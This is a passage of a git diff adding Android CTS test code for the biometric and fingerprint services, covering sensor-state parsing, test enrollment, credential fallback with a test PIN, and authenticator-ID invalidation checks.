+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+    }
+
+    @Test
+    public void testBiometricOrCredential_credentialButtonInvoked_biometricEnrolled()
+            throws Exception {
+        // Test behavior for each sensor when biometrics are enrolled
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            credentialSession.setCredential();
+            for (SensorProperties prop : mSensorProperties) {
+                try (BiometricTestSession session =
+                             mBiometricManager.createTestSession(prop.getSensorId());
+                     ActivitySession activitySession =
+                             new ActivitySession(this, CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY)) {
+                    testBiometricOrCredential_credentialButtonInvoked_forConfiguration(
+                            session, prop.getSensorId(), true /* shouldEnrollBiometric */,
+                            activitySession);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testBiometricOrCredential_credentialButtonInvoked_biometricNotEnrolled()
+            throws Exception {
+        // Test behavior for each sensor when biometrics are not enrolled
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            credentialSession.setCredential();
+            for (SensorProperties prop : mSensorProperties) {
+                try (BiometricTestSession session =
+                             mBiometricManager.createTestSession(prop.getSensorId());
+                     ActivitySession activitySession =
+                             new ActivitySession(this, CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY)) {
+                    testBiometricOrCredential_credentialButtonInvoked_forConfiguration(
+                            session, prop.getSensorId(), false /* shouldEnrollBiometric */,
+                            activitySession);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testBiometricOrCredential_credentialButtonInvoked_noBiometricSensor()
+            throws Exception {
+        assumeTrue(mSensorProperties.isEmpty());
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            try (ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY)){
+                testBiometricOrCredential_credentialButtonInvoked_forConfiguration(null,
+                        0 /* sensorId */, false /* shouldEnrollBiometric */, activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOrCredential_credentialButtonInvoked_forConfiguration(
+            @Nullable BiometricTestSession session, int sensorId, boolean shouldEnrollBiometric,
+            @NonNull ActivitySession activitySession)
+            throws Exception {
+        Log.d(TAG, "testBiometricOrCredential_credentialButtonInvoked_forConfiguration: "
+                + "sensorId=" + sensorId
+                + ", shouldEnrollBiometric=" + shouldEnrollBiometric);
+        if (shouldEnrollBiometric) {
+            assertNotNull(session);
+            waitForAllUnenrolled();
+            enrollForSensor(session, sensorId);
+        }
+
+        final TestJournal journal = TestJournalContainer
+                .get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState;
+
+        BiometricServiceState state = getCurrentState();
+        Log.d(TAG, "State after launching activity: " + state);
+        if (shouldEnrollBiometric) {
+            waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+            assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+            // Press the credential button
+            findAndPressButton(BUTTON_ID_USE_CREDENTIAL);
+            callbackState = getCallbackState(journal);
+            assertFalse(callbackState.toString(), callbackState.mNegativeButtonPressed);
+            assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+            assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+            assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+            assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+            waitForState(STATE_SHOWING_DEVICE_CREDENTIAL);
+        }
+
+        // All sensors are idle, BiometricService is waiting for device credential
+        state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.areAllSensorsIdle());
+        assertEquals(state.toString(), STATE_SHOWING_DEVICE_CREDENTIAL, state.mState);
+
+        // Wait for any animations to complete. Ideally, this should be reflected in
+        // STATE_SHOWING_DEVICE_CREDENTIAL, but SysUI and BiometricService are different processes
+        // so we'd need to add some additional plumbing. We can improve this in the future.
+        Thread.sleep(1000);
+
+        // Enter credential. AuthSession done, authentication callback received
+        final UiObject2 passwordField = findView(VIEW_ID_PASSWORD_FIELD);
+        Log.d(TAG, "Focusing, entering, submitting credential");
+        passwordField.click();
+        passwordField.setText(LOCK_CREDENTIAL);
+        mDevice.pressEnter();
+        waitForState(STATE_AUTH_IDLE);
+
+        state = getCurrentState();
+        assertEquals(state.toString(), STATE_AUTH_IDLE, state.mState);
+        callbackState = getCallbackState(journal);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+    }
+
+    @Test
+    public void testAuthenticatorIdsInvalidated() throws Exception {
+        // On devices with multiple strong sensors, adding enrollments to one strong sensor
+        // must cause authenticatorIds for all other strong sensors to be invalidated, if they
+        // (the other strong sensors) have enrollments.
+        final List<Integer> strongSensors = new ArrayList<>();
+        for (SensorProperties prop : mSensorProperties) {
+            if (prop.getSensorStrength() == SensorProperties.STRENGTH_STRONG) {
+                strongSensors.add(prop.getSensorId());
+            }
+        }
+        assumeTrue("numStrongSensors: " + strongSensors.size(), strongSensors.size() >= 2);
+
+        Log.d(TAG, "testAuthenticatorIdsInvalidated, numStrongSensors: " + strongSensors.size());
+
+        for (Integer sensorId : strongSensors) {
+            testAuthenticatorIdsInvalidated_forSensor(sensorId, strongSensors);
+        }
+    }
+
+    /**
+     * Tests that the specified sensorId's authenticatorId when any other strong sensor adds
+     * an enrollment.
+     */
+    private void testAuthenticatorIdsInvalidated_forSensor(int sensorId,
+            @NonNull List<Integer> strongSensors) throws Exception {
+        Log.d(TAG, "testAuthenticatorIdsInvalidated_forSensor: " + sensorId);
+        final List<BiometricTestSession> biometricSessions = new ArrayList<>();
+
+        final BiometricTestSession targetSensorTestSession =
+                mBiometricManager.createTestSession(sensorId);
+
+        // Get the state once. This intentionally clears the scheduler's recent operations dump.
+        BiometricServiceState state = getCurrentStateAndClearSchedulerLog();
+
+        waitForAllUnenrolled();
+        Log.d(TAG, "Enrolling for: " + sensorId);
+        enrollForSensor(targetSensorTestSession, sensorId);
+        biometricSessions.add(targetSensorTestSession);
+        state = getCurrentStateAndClearSchedulerLog();
+
+        // Target sensorId has never been requested to invalidate authenticatorId yet.
+        assertEquals(0, Utils.numberOfSpecifiedOperations(state, sensorId,
+                BiometricsProto.CM_INVALIDATE));
+
+        // Add enrollments for all other sensors. Upon each enrollment, the authenticatorId for
+        // the above sensor should be invalidated.
+        for (Integer id : strongSensors) {
+            if (id != sensorId) {
+                final BiometricTestSession session = mBiometricManager.createTestSession(id);
+                biometricSessions.add(session);
+                Log.d(TAG, "Sensor " + id + " should request invalidation");
+                enrollForSensor(session, id);
+                state = getCurrentStateAndClearSchedulerLog();
+                assertEquals(1, Utils.numberOfSpecifiedOperations(state, sensorId,
+                        BiometricsProto.CM_INVALIDATE));
+
+                // In addition, the sensor that should have enrolled should have been the one that
+                // requested invalidation.
+                assertEquals(1, Utils.numberOfSpecifiedOperations(state, id,
+                        BiometricsProto.CM_INVALIDATION_REQUESTER));
+            }
+        }
+
+        // Cleanup
+        for (BiometricTestSession session : biometricSessions) {
+            session.close();
+        }
+    }
+
+    @Override
+    protected SensorStates getSensorStates() throws Exception {
+        return getCurrentState().mSensorStates;
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
new file mode 100644
index 0000000..f641de5
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricTestBase.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.Condition;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import java.util.function.BooleanSupplier;
+
+/**
+ * Base class for biometric tests, containing common useful logic.
+ */
+public abstract class BiometricTestBase extends ActivityManagerTestBase {
+
+    private static final String TAG = "BiometricTestBase";
+
+    protected abstract SensorStates getSensorStates() throws Exception;
+
+    /**
+     * Waits for the service to become idle
+     * @throws Exception
+     */
+    protected void waitForIdleService() throws Exception {
+        for (int i = 0; i < 10; i++) {
+            if (!getSensorStates().areAllSensorsIdle()) {
+                Log.d(TAG, "Not idle yet..");
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting for idle");
+    }
+
+    protected void waitForBusySensor(int sensorId) throws Exception {
+        for (int i = 0; i < 10; i++) {
+            if (!getSensorStates().sensorStates.get(sensorId).isBusy()) {
+                Log.d(TAG, "Not busy yet..");
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting to become busy");
+    }
+
+    protected static void waitFor(@NonNull String message, @NonNull BooleanSupplier condition) {
+        Condition.waitFor(new Condition<>(message, condition)
+                .setRetryIntervalMs(500)
+                .setRetryLimit(20));
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/Components.java b/tests/framework/base/biometrics/src/android/server/biometrics/Components.java
new file mode 100644
index 0000000..970e11a
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/Components.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+    public static final ComponentName CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY =
+            component("Class2BiometricOrCredentialActivity");
+    public static final ComponentName CLASS_2_BIOMETRIC_ACTIVITY =
+            component("Class2BiometricActivity");
+
+    private static ComponentName component(String className) {
+        return component(Components.class, className);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/CredentialSession.java b/tests/framework/base/biometrics/src/android/server/biometrics/CredentialSession.java
new file mode 100644
index 0000000..b60a661
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/CredentialSession.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+public class CredentialSession implements AutoCloseable {
+
+    private static final String SET_PASSWORD = "locksettings set-pin 1234";
+    private static final String CLEAR_PASSWORD = "locksettings clear --old 1234";
+
+    public void setCredential() {
+        Utils.executeShellCommand(SET_PASSWORD);
+    }
+
+    @Override
+    public void close() throws Exception {
+        Utils.executeShellCommand(CLEAR_PASSWORD);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
new file mode 100644
index 0000000..0e86403
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/SensorStates.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.biometrics.nano.BiometricSchedulerProto;
+import com.android.server.biometrics.nano.BiometricsProto;
+import com.android.server.biometrics.nano.SensorServiceStateProto;
+import com.android.server.biometrics.nano.SensorStateProto;
+import com.android.server.biometrics.nano.UserStateProto;
+
+import com.google.common.primitives.Ints;
+
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * The overall state for a list of sensors. This could be either:
+ *
+ * 1) A list of sensors from a single instance of a <Biometric>Service such as
+ * {@link com.android.server.biometrics.sensors.fingerprint.FingerprintService} or
+ * {@link com.android.server.biometrics.sensors.face.FaceService}, or
+ *
+ * 2) A list of sensors from multiple instances of <Biometric>Services.
+ *
+ * Note that a single service may provide multiple sensors.
+ */
+public class SensorStates {
+
+    @NonNull public final Map<Integer, SensorState> sensorStates;
+
+    public static class SchedulerState {
+        private final int mCurrentOperation;
+        private final int mTotalOperations;
+        @NonNull private final List<Integer> mRecentOperations;
+
+        public static SchedulerState parseFrom(@NonNull BiometricSchedulerProto proto) {
+            return new SchedulerState(proto.currentOperation, proto.totalOperations,
+                    Ints.asList(proto.recentOperations));
+        }
+
+        public SchedulerState(int currentOperation, int totalOperations,
+                @NonNull List<Integer> recentOperations) {
+            mCurrentOperation = currentOperation;
+            mTotalOperations = totalOperations;
+            mRecentOperations = recentOperations;
+        }
+
+        @NonNull
+        public List<Integer> getRecentOperations() {
+            return mRecentOperations;
+        }
+    }
+
+    public static class SensorState {
+        private final SchedulerState mSchedulerState;
+        private final int mModality;
+        @NonNull private final Map<Integer, UserState> mUserStates;
+
+        public SensorState(@NonNull SchedulerState schedulerState, int modality,
+                @NonNull Map<Integer, UserState> userStates) {
+            this.mSchedulerState = schedulerState;
+            this.mModality = modality;
+            this.mUserStates = userStates;
+        }
+
+        public SchedulerState getSchedulerState() {
+            return mSchedulerState;
+        }
+
+        public boolean isBusy() {
+            return mSchedulerState.mCurrentOperation != BiometricsProto.CM_NONE;
+        }
+
+        public int getModality() {
+            return mModality;
+        }
+
+        @NonNull public Map<Integer, UserState> getUserStates() {
+            return mUserStates;
+        }
+    }
+
+    public static class UserState {
+        public final int numEnrolled;
+
+        public UserState(int numEnrolled) {
+            this.numEnrolled = numEnrolled;
+        }
+    }
+
+    @NonNull
+    public static SensorStates parseFrom(@NonNull SensorServiceStateProto proto) {
+        final Map<Integer, SensorState> sensorStates = new HashMap<>();
+
+        for (SensorStateProto sensorStateProto : proto.sensorStates) {
+            final Map<Integer, UserState> userStates = new HashMap<>();
+            for (UserStateProto userStateProto : sensorStateProto.userStates) {
+                userStates.put(userStateProto.userId, new UserState(userStateProto.numEnrolled));
+            }
+
+            final SchedulerState schedulerState =
+                    SchedulerState.parseFrom(sensorStateProto.scheduler);
+            final SensorState sensorState = new SensorState(schedulerState,
+                    sensorStateProto.modality, userStates);
+            sensorStates.put(sensorStateProto.sensorId, sensorState);
+        }
+
+        return new SensorStates(sensorStates);
+    }
+
+    /**
+     * Combines multiple {@link SensorStates} into a single instance.
+     */
+    @NonNull
+    public static SensorStates merge(@NonNull List<SensorStates> sensorServiceStates) {
+        final Map<Integer, SensorState> sensorStates = new HashMap<>();
+
+        for (SensorStates sensorServiceState : sensorServiceStates) {
+            for (Integer sensorId : sensorServiceState.sensorStates.keySet()) {
+                if (sensorStates.containsKey(sensorId)) {
+                    throw new IllegalStateException("Duplicate sensorId found: " + sensorId);
+                }
+                sensorStates.put(sensorId, sensorServiceState.sensorStates.get(sensorId));
+            }
+        }
+
+        return new SensorStates(sensorStates);
+    }
+
+    public boolean areAllSensorsIdle() {
+        for (SensorState state : sensorStates.values()) {
+            if (state.isBusy()) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    public boolean containsModality(int modality) {
+        for (SensorState state : sensorStates.values()) {
+            if (state.getModality() == modality) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private SensorStates(@NonNull Map<Integer, SensorState> sensorStates) {
+        this.sensorStates = sensorStates;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+
+        for (Integer sensorId : sensorStates.keySet()) {
+            sb.append("{SensorId: ").append(sensorId);
+            sb.append(", Operation: ").append(sensorStates.get(sensorId)
+                    .getSchedulerState().mCurrentOperation);
+
+            final Map<Integer, UserState> userStates = sensorStates.get(sensorId).getUserStates();
+            for (Integer userId : userStates.keySet()) {
+                sb.append(", UserId: ").append(userId);
+                sb.append(", NumEnrolled: ").append(userStates.get(userId).numEnrolled);
+            }
+            sb.append("} ");
+        }
+        return sb.toString();
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
new file mode 100644
index 0000000..235b597
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/Utils.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.content.ComponentName;
+import android.os.ParcelFileDescriptor;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.List;
+
+public class Utils {
+
+    /**
+     * Runs a shell command, similar to running "adb shell ..." from the command line.
+     * @param cmd A command, without the preceding "adb shell" portion. For example,
+     *            passing in "dumpsys fingerprint" would be the equivalent of running
+     *            "adb shell dumpsys fingerprint" from the command line.
+     * @return The result of the command.
+     */
+    public static byte[] executeShellCommand(String cmd) {
+        try {
+            ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
+                    .executeShellCommand(cmd);
+            byte[] buf = new byte[512];
+            int bytesRead;
+            FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+            ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+            while ((bytesRead = fis.read(buf)) != -1) {
+                stdout.write(buf, 0, bytesRead);
+            }
+            fis.close();
+            return stdout.toByteArray();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public static void forceStopActivity(ComponentName componentName) {
+        executeShellCommand("am force-stop " + componentName.getPackageName()
+                + " " + componentName.getShortClassName().replaceAll("\\.", ""));
+    }
+
+    public static int numberOfSpecifiedOperations(@NonNull BiometricServiceState state,
+            int sensorId, int operation) {
+        int count = 0;
+        final List<Integer> recentOps = state.mSensorStates.sensorStates.get(sensorId)
+                .getSchedulerState().getRecentOperations();
+        for (Integer i : recentOps) {
+            if (i == operation) {
+                count++;
+            }
+        }
+        return count;
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/Components.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/Components.java
new file mode 100644
index 0000000..3d0d35e
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/Components.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+public class Components extends ComponentsBase {
+    public static final ComponentName AUTH_ON_CREATE_ACTIVITY = component("AuthOnCreateActivity");
+
+    private static ComponentName component(String className) {
+        return component(Components.class, className);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java
new file mode 100644
index 0000000..21d3ff0
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import android.app.Activity;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.Bundle;
+import android.server.wm.TestJournalProvider;
+
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+
+/**
+ * Authentication callback helper that allows easy transfer between test activities and
+ * CTS via {@link android.server.wm.TestJournalProvider.TestJournal}, as well as serialization
+ * and deserialization.
+ *
+ * Note that generally a single instance of this helper should only be used for a single
+ * authentication.
+ */
+@SuppressWarnings("deprecation")
+public class FingerprintCallbackHelper extends FingerprintManager.AuthenticationCallback {
+
+    public static final String KEY = "key_auth_callback";
+
+    public static class State {
+        private static final String KEY_ERRORS_RECEIVED = "key_errors_received";
+        private static final String KEY_ACQUIRED_RECEIVED = "key_acquired_received";
+        private static final String KEY_NUM_ACCEPTED = "key_num_accepted";
+        private static final String KEY_NUM_REJECTED = "key_num_rejected";
+
+        public final ArrayList<Integer> mErrorsReceived;
+        public final ArrayList<Integer> mAcquiredReceived;
+        public int mNumAuthAccepted;
+        public int mNumAuthRejected;
+
+        public State() {
+            mErrorsReceived = new ArrayList<>();
+            mAcquiredReceived = new ArrayList<>();
+        }
+
+        public Bundle toBundle() {
+            final Bundle bundle = new Bundle();
+            bundle.putIntegerArrayList(KEY_ERRORS_RECEIVED, mErrorsReceived);
+            bundle.putIntegerArrayList(KEY_ACQUIRED_RECEIVED, mAcquiredReceived);
+            bundle.putInt(KEY_NUM_ACCEPTED, mNumAuthAccepted);
+            bundle.putInt(KEY_NUM_REJECTED, mNumAuthRejected);
+            return bundle;
+        }
+
+        private State(ArrayList<Integer> errorsReceived, ArrayList<Integer> acquiredReceived,
+                int numAuthAccepted, int numAuthRejected) {
+            mErrorsReceived = errorsReceived;
+            mAcquiredReceived = acquiredReceived;
+            mNumAuthAccepted = numAuthAccepted;
+            mNumAuthRejected = numAuthRejected;
+        }
+
+        public static State fromBundle(@NonNull Bundle bundle) {
+            return new State(
+                    bundle.getIntegerArrayList(KEY_ERRORS_RECEIVED),
+                    bundle.getIntegerArrayList(KEY_ACQUIRED_RECEIVED),
+                    bundle.getInt(KEY_NUM_ACCEPTED),
+                    bundle.getInt(KEY_NUM_REJECTED));
+        }
+    }
+
+    private final Activity mActivity;
+    private final State mState;
+
+    @Override
+    public void onAuthenticationError(int errorCode, CharSequence errString) {
+        mState.mErrorsReceived.add(errorCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationHelp(int helpCode, CharSequence helpString) {
+        mState.mAcquiredReceived.add(helpCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationSucceeded(FingerprintManager.AuthenticationResult result) {
+        mState.mNumAuthAccepted++;
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationFailed() {
+        mState.mNumAuthRejected++;
+        updateJournal();
+    }
+
+    public FingerprintCallbackHelper(@NonNull Activity activity) {
+        mActivity = activity;
+        mState = new State();
+
+        // Update with empty state. It's faster than waiting/retrying for null on CTS-side.
+        updateJournal();
+    }
+
+    private void updateJournal() {
+        TestJournalProvider.putExtras(mActivity,
+                bundle -> bundle.putBundle(KEY, mState.toBundle()));
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
new file mode 100644
index 0000000..548bbc5
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/fingerprint/FingerprintServiceTest.java
@@ -0,0 +1,310 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import static android.server.biometrics.SensorStates.SensorState;
+import static android.server.biometrics.SensorStates.UserState;
+import static android.server.biometrics.fingerprint.Components.AUTH_ON_CREATE_ACTIVITY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.biometrics.BiometricTestBase;
+import android.server.biometrics.SensorStates;
+import android.server.biometrics.Utils;
+import android.server.wm.TestJournalProvider.TestJournal;
+import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.server.wm.UiDeviceUtils;
+import android.server.wm.WindowManagerState;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.server.biometrics.nano.SensorServiceStateProto;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+@SuppressWarnings("deprecation")
+@Presubmit
+public class FingerprintServiceTest extends BiometricTestBase {
+    private static final String TAG = "FingerprintServiceTest";
+
+    private static final String DUMPSYS_FINGERPRINT = "dumpsys fingerprint --proto --state";
+
+    @Override
+    protected SensorStates getSensorStates() throws Exception {
+        final byte[] dump = Utils.executeShellCommand(DUMPSYS_FINGERPRINT);
+        SensorServiceStateProto proto = SensorServiceStateProto.parseFrom(dump);
+        return SensorStates.parseFrom(proto);
+    }
+
+    @Nullable
+    private static FingerprintCallbackHelper.State getCallbackState(@NonNull TestJournal journal) {
+        waitFor("Waiting for authentication callback",
+                () -> journal.extras.containsKey(FingerprintCallbackHelper.KEY));
+
+        final Bundle bundle = journal.extras.getBundle(FingerprintCallbackHelper.KEY);
+        if (bundle == null) {
+            return null;
+        }
+
+        final FingerprintCallbackHelper.State state =
+                FingerprintCallbackHelper.State.fromBundle(bundle);
+
+        // Clear the extras since we want to wait for the journal to sync any new info the next
+        // time it's read
+        journal.extras.clear();
+
+        return state;
+    }
+
+    @NonNull private Instrumentation mInstrumentation;
+    @Nullable private FingerprintManager mFingerprintManager;
+    @NonNull private List<SensorProperties> mSensorProperties;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = getInstrumentation();
+        mFingerprintManager = mInstrumentation.getContext()
+                .getSystemService(FingerprintManager.class);
+
+        // Tests can be skipped on devices without FingerprintManager
+        assumeTrue(mFingerprintManager != null);
+
+        mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
+
+        mSensorProperties = mFingerprintManager.getSensorProperties();
+
+        // Tests can be skipped on devices without fingerprint sensors
+        assumeTrue(!mSensorProperties.isEmpty());
+    }
+
+    @After
+    public void cleanup() throws Exception {
+        if (mFingerprintManager == null || mSensorProperties.isEmpty()) {
+            // The tests were skipped anyway, nothing to clean up. Maybe we can use JUnit test
+            // annotations in the future.
+            return;
+        }
+
+
+        mInstrumentation.waitForIdleSync();
+        waitForIdleService();
+
+        final SensorStates sensorStates = getSensorStates();
+        for (Map.Entry<Integer, SensorState> sensorEntry : sensorStates.sensorStates.entrySet()) {
+            for (Map.Entry<Integer, UserState> userEntry
+                    : sensorEntry.getValue().getUserStates().entrySet()) {
+                if (userEntry.getValue().numEnrolled != 0) {
+                    Log.w(TAG, "Cleaning up for sensor: " + sensorEntry.getKey()
+                            + ", user: " + userEntry.getKey());
+                    BiometricTestSession session =
